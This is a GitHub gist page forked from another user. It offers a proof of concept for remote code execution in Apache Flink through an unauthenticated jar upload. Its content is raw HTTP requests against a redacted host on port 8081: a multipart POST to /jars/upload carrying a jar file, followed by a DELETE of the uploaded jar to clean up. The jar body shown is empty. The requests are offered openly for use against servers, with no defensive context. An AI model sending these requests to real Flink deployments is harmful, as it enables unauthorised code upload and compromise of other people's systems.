RASSec/flink-rce.md

Forked from pikpikcu/flink-rce.md

Created February 5, 2021 06:53

Star (0) You must be signed in to star a gist
Fork (0) You must be signed in to fork a gist

Learn more about clone URLs
Clone this repository at <script src="https://gist.github.com/RASSec/88b00bf18828dbe9661c8e8a844f513b.js"></script>
Save RASSec/88b00bf18828dbe9661c8e8a844f513b to your computer and use it in GitHub Desktop.

Download ZIP

POC Apache Flink RCE upload file.jar

Raw

flink-rce.md

POST /jars/upload HTTP/1.1
Host: REDACTED:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 187
Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3
Accept-Encoding: gzip

--8ce4b16b22b58894aa86c421e8759df3
Content-Disposition: form-data; name="jarfile";filename="pikpikcu.jar"
Content-Type:application/octet-stream


--8ce4b16b22b58894aa86c421e8759df3--

DELETE /jars/7d7b4c4e-b1f0-451c-b7e3-4aaa5f71a9a7_pikpikcu.jar HTTP/1.1
Host: REDACTED:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment